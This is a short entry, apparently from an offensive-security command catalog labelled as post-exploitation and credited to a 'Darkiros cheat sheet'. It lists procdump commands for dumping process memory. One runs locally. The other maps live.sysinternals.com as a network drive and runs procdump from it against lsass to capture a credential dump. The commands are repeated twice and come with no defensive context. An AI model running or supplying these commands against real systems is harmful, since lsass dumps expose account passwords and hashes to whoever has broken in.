Dump a process memory - local
procdump procdump Sandbox: execFile · Timeout: 30s
security.execution.post-exploitation Dump a process memory - local
procdump.exe -accepteula -ma [pid or name] [output] Dump a process memory - remote
net use Z: https://live.sysinternals.com; Z:\\procdump.exe -accepteula -ma [lsass_exe] [lsass_dmp] Darkiros cheat sheet commands:
Dump a process memory - local
procdump.exe -accepteula -ma [pid or name] [output]
Dump a process memory - remote
net use Z: https://live.sysinternals.com; Z:\\procdump.exe -accepteula -ma [lsass_exe] [lsass_dmp]